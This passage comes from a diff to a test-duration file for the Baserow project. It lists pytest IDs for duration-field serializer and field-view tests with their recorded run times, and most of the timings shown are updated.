"tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-1d 123-saved_value63]": 0.012638749001780525, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-2h 3s-saved_value65]": 0.012645164999412373, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-3661-saved_value18]": 0.012655585014726967, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm ss-None-None]": 0.014553126005921513, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-123-saved_value62]": 0.012746958003845066, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-1d 123-saved_value61]": 0.012636416970053688, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-3661-saved_value17]": 0.01276233300450258, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h mm-None-None]": 0.014357207983266562, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-0-saved_value9]": 0.012664832989685237, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1-saved_value41]": 0.012723499996354803, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1:01:01.123-saved_value76]": 0.012749041023198515, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1 1h-saved_value44]": 0.012845833000028506, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1.123-saved_value77]": 0.012749207991873845, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-12h-saved_value47]": 0.012717709003482014, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1794.0-saved_value30]": 0.012694042001385242, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1800-saved_value31]": 0.012748248962452635, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d 1-saved_value45]": 0.012707791000138968, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d 1h-saved_value43]": 0.012587416014866903, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d1-saved_value46]": 0.013165666023269296, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-1d1h-saved_value42]": 0.012853791005909443, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-29:59.999-saved_value78]": 0.012758708995534107, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-30:00-saved_value79]": 0.012668498995481059, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-30:00.001-saved_value80]": 0.012799999996786937, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-3600-saved_value10]": 0.012784500984707847, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-3d-saved_value48]": 0.01277187402592972, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-90000-saved_value11]": 0.012592583982041106, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-90000.123-saved_value29]": 0.012741623970214278, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h-None-None]": 0.014315292006358504, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-0-saved_value12]": 0.012756500014802441, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:01-saved_value49]": 0.01263708304031752, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:01:01.123-saved_value81]": 0.012639042019145563, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1 1:1-saved_value52]": 0.012703124986728653, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1.123-saved_value82]": 0.012881500006187707, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d 1:01-saved_value51]": 0.012737459008349106, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d 1:1-saved_value54]": 0.012626001000171527, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d1:01-saved_value50]": 0.01270025098347105, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-1d1:1-saved_value53]": 0.012615123996511102, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-29-saved_value32]": 0.012733375013340265, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-29.999-saved_value83]": 0.012672708020545542, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30-saved_value33]": 0.012841583986300975, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30-saved_value84]": 0.01282979198731482, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-30.001-saved_value85]": 0.01279499995871447, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-3660-saved_value13]": 0.012751417001709342, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-86400-saved_value14]": 0.01275054199504666, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm-None-None]": 0.013699333998374641, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0-saved_value15]": 0.012701957952231169, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.49-saved_value34]": 0.012753541028359905, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.5-saved_value35]": 0.012781873985659331, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-0.5-saved_value90]": 0.01328779201139696, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:01:01-saved_value55]": 0.012723249004920945, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:01:01.123-saved_value86]": 0.012781832978362218, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1 1:1:1-saved_value58]": 0.01269837500876747, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1.123-saved_value87]": 0.012578042020322755, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d 1:01:01-saved_value57]": 0.012682041968218982, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d 1:1:1-saved_value60]": 0.012673999008256942, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d1:01:01-saved_value56]": 0.012764457991579548, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-1d1:1:1-saved_value59]": 0.012645792012335733, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-29.999-saved_value88]": 0.01291733401012607, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-3661-saved_value16]": 0.01264024997362867, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-70-saved_value89]": 0.014135666016954929, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[d h:mm:ss-None-None]": 0.013467917015077546, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-0-saved_value0]": 0.012793874979251996, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01-saved_value36]": 0.012685749999945983, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01:01.123-saved_value66]": 0.012748834007652476, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-1:01:01.999-saved_value67]": 0.012709291011560708, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3660-saved_value1]": 0.012731625000014901, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3661.123-saved_value19]": 0.01271558299777098, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-3661.999-saved_value20]": 0.01256154099246487, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-86400-saved_value2]": 0.01273450002190657, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm-None-None]": 0.013714583066757768, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-0-saved_value3]": 0.012759623990859836, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01-saved_value37]": 0.012746499967761338, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01.123-saved_value68]": 0.012813583016395569, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-1:01:01.789-saved_value69]": 0.012683625041972846, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661-saved_value4]": 0.012828042003093287, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661.123-saved_value21]": 0.012674416997469962, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-3661.789-saved_value22]": 0.013140082970494404, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss-None-None]": 0.013668999978108332, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.1-saved_value38]": 0.01280024996958673, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.123-saved_value70]": 0.01317441597348079, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-1:01:01.789-saved_value71]": 0.012705626024398953, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.1-saved_value5]": 0.012647833966184407, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.123-saved_value23]": 0.01257000002078712, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-3661.789-saved_value24]": 0.013638166972668841, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.s-None-None]": 0.014371958008268848, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.12-saved_value39]": 0.012672541022766382, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.123-saved_value72]": 0.012696290970779955, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-1:01:01.789-saved_value73]": 0.012623957998584956, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.12-saved_value6]": 0.012778332980815321, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.123-saved_value25]": 0.012798459007171914, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-3661.789-saved_value26]": 0.013156208995496854, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.ss-None-None]": 0.014222914993297309, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-0-saved_value7]": 0.012738667952362448, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.123-saved_value40]": 0.012760791956679896, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.1234-saved_value74]": 0.012678667029831558, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-1:01:01.6789-saved_value75]": 0.012718915997538716, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.123-saved_value8]": 0.012782083009369671, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.1234-saved_value27]": 0.01273579100961797, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-3661.6789-saved_value28]": 0.012920166976982728, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value[h:mm:ss.sss-None-None]": 0.014050375000806525, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h mm-1h1h0]": 0.014108083036262542, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h mm-1h1h1]": 0.013545957976020873, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1d1d]": 0.014173333009239286, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1dd]": 0.013433625979814678, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1h1h]": 0.014134999946691096, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[d h-1hh]": 0.013977875001728535, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:m-86400000000001.0]": 0.013485709001543, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm--1]": 0.010434150113724172, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-1.0:1.0]": 0.007654750999790849, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-1:1:1:1]": 0.007484708998163114, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-]": 0.007638750001206063, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm:ss-1:1:1:1.1]": 0.007872250000218628, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm:ss.s-aaaaaaa]": 0.007900791000793106, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[invalid format-1]": 0.007567957996798214, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h-formula_lookup_value7-90000]": 0.007984916999703273, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-1.0:1.0]": 0.013991332991281524, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-1:1:1:1]": 0.013469208031892776, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm-]": 0.01349520799703896, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm:ss-1:1:1:1.1]": 0.013950499997008592, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[h:mm:ss.s-aaaaaaa]": 0.013813374971505255, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_internal_value_with_invalid_values[invalid format-1]": 0.01323208399116993, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h-formula_lookup_value7-90000]": 0.013449500023853034, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h-user_input7-90000]": 0.009636453003622591, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm-formula_lookup_value8-90060]": 0.007715458999882685, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm-formula_lookup_value8-90060]": 0.013310206937603652, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm-user_input8-90060]": 0.010564479976892471, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-1 year 1 mon 1 day-34214400.0]": 0.008178460000635823, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-1 year 1:02:03-31539723.0]": 0.007741916999293608, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-2 mons 3 days-5443200.0]": 0.007793374998072977, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-2 years 2 mons-68256000.0]": 0.007744291999188135, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-3 days 03:04:05-270245.0]": 0.008312248999573058, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-formula_lookup_value9-90061]": 0.008220666999477544, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-1 year 1 mon 1 day-34214400.0]": 0.013942668010713533, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-1 year 1:02:03-31539723.0]": 0.013961457007098943, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-2 mons 3 days-5443200.0]": 0.014299332979135215, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-2 years 2 mons-68256000.0]": 0.01414887499413453, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-3 days 03:04:05-270245.0]": 0.013208791991928592, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-formula_lookup_value9-90061]": 0.013761999987764284, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[d h:mm:ss-user_input9-90061]": 0.008535968023352325, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-formula_lookup_value0-0]": 0.007678915999349556, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-formula_lookup_value1-3660]": 0.007881124000050477, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-formula_lookup_value0-0]": 0.014719416009029374, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-formula_lookup_value1-3660]": 0.013569458009442315, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-user_input0-0]": 0.0094396211206913, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm-user_input1-3660]": 0.010673812939785421, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss-formula_lookup_value2-3661]": 0.007783167000525282, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss-formula_lookup_value2-3661]": 0.013463916955515742, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss-user_input2-3661]": 0.010063238092698157, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.s-formula_lookup_value3-3661.1]": 0.007726249998086132, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.s-formula_lookup_value3-3661.1]": 0.013897792057832703, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.s-user_input3-3661.1]": 0.010444108047522604, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.ss-formula_lookup_value4-3661.12]": 0.008223249998991378, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.ss-formula_lookup_value4-3661.12]": 0.013369041989790276, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.ss-user_input4-3661.12]": 0.009840407990850508, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-formula_lookup_value5-3661.123]": 0.00769245900119131, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-formula_lookup_value6-3661.1234]": 0.007696209000641829, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-formula_lookup_value5-3661.123]": 0.013137083034962416, + "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-formula_lookup_value6-3661.1234]": 0.013274165976326913, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-user_input5-3661.123]": 0.010389693081378937, "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_serializer_to_representation[h:mm:ss.sss-user_input6-3661.1234]": 0.009427371085621417, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_duration_token_options": 0.007727416999841807, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[-1 year -2 mons +3 days 04:05:06-parsed_value5]": 0.007707124999797088, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[04:05:06-parsed_value12]": 0.008850833002725267, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[04:05:06-parsed_value3]": 0.007894542000940419, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 1 mon 1 day-parsed_value7]": 0.007505958001274848, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 1:02:03-parsed_value9]": 0.007544374000644893, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 2 mons -3 days 04:05:06-parsed_value6]": 0.0077302500012592645, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year 2 mons 3 days 04:05:06-parsed_value4]": 0.007718041999396519, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[1 year-parsed_value0]": 0.007720083998719929, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 mons 3 days-parsed_value10]": 0.007704751000346732, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 mons-parsed_value1]": 0.007537751000199933, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[2 years 2 mons-parsed_value8]": 0.007777625000016997, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[3 days 03:04:05-parsed_value11]": 0.007661665998966782, - "tests/baserow/contrib/database/api/fields/test_duration_field_serializers.py::test_postgres_interval_to_seconds[3 days-parsed_value2]": 0.007591583000248647, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_async_duplicate_field": 5.212284710998574, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_different_table": 0.3318473750005069, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_and_back": 0.18833162400005676, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_is_already_primary": 0.166203208999832, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_no_update_permissions": 0.34570412500033854, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_with_primary": 0.1699706250001327, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_field_without_primary": 0.171090333000393, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_change_primary_field_type_not_primary": 0.16207358300016494, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field": 0.2722081249994517, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_returns_with_error_if_cant_lock_table_if_locked_for_key_share": 0.3332114580007328, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_create_field_returns_with_error_if_cant_lock_table_if_locked_for_update": 0.33053579199986416, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_delete_field": 0.33312608300002466, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_get_field": 0.3234509580006488, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_list_fields": 0.2255918330001805, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_list_read_only_fields": 0.16439312400052586, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values": 0.17866150099871447, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values_incompatible_field_type": 0.15908479200061265, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_unique_row_values_splitted_by_comma": 0.1697182910002084, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field": 0.5315424170003098, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_number_type_deprecation_error": 0.20435495800029457, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_field_if_locked_for_key_share": 0.3393226250000225, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_field_if_locked_for_update": 0.3365301249996264, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_table_if_locked_for_key_share": 0.3443048750004891, - "tests/baserow/contrib/database/api/fields/test_field_views.py::test_update_field_returns_with_error_if_cant_lock_table_if_locked_for_update": 0.3359717909988831, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_created_on_field_type": 0.22507354199933616, - "tests/baserow/contrib/database/api/fields/test_field_views_types.py::test_date_field_type": 0.23509754199949384, - 